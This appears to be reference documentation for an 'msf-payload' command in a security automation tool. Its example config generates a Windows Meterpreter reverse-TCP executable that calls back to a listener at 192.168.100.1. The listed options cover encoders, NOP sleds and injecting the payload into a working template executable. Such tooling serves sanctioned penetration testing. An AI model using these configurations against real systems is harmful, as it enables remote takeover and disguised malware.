msf-payload

Generate a Metasploit payload and save it to a file.

commands:
  - type: msf-payload
    cmd: windows/meterpreter/reverse_tcp
    format: exe
    payload_options:
      LHOST: 192.168.100.1
      LPORT: 1111
    local_path: /tmp/payload.exe

  - type: shell
    cmd: cat $LAST_MSF_PAYLOAD
cmd

The payload to generate (e.g. windows/meterpreter/reverse_tcp).

Type:

str

Required:

True

payload_options

Key-value pairs of payload options such as LHOST and LPORT.

Type:

Dict[str, str]

format

Output format for the generated payload. Run msfvenom --list formats for supported values or see the Metasploit documentation.

Type:

str

Default:

raw

local_path

Path where the generated payload will be saved. If not set, the payload is saved to a temporary path accessible via $LAST_MSF_PAYLOAD.

Type:

str

platform

Target platform for the payload. Run msfvenom --list platforms for supported values.

Type:

str

encoder

Encoder to apply to the payload. Run msfvenom --list encoders for supported values.

Type:

str

badchars

Characters to avoid in the generated payload (e.g. '\x00\xff').

Type:

str

force_encode

Force encoding even if no encoder is explicitly specified.

Type:

bool

Default:

False

nopsled_size

Number of NOP bytes (nopsled) to prepend to the payload.

Type:

int

Default:

0

template

Path to a custom executable to use as a template for the payload.

Type:

str

keep_template_working

Inject the payload as a new thread so the template executable continues to function normally.

Type:

bool

Default:

False

iter

Number of times to apply the encoder.

Type:

int

Default:

0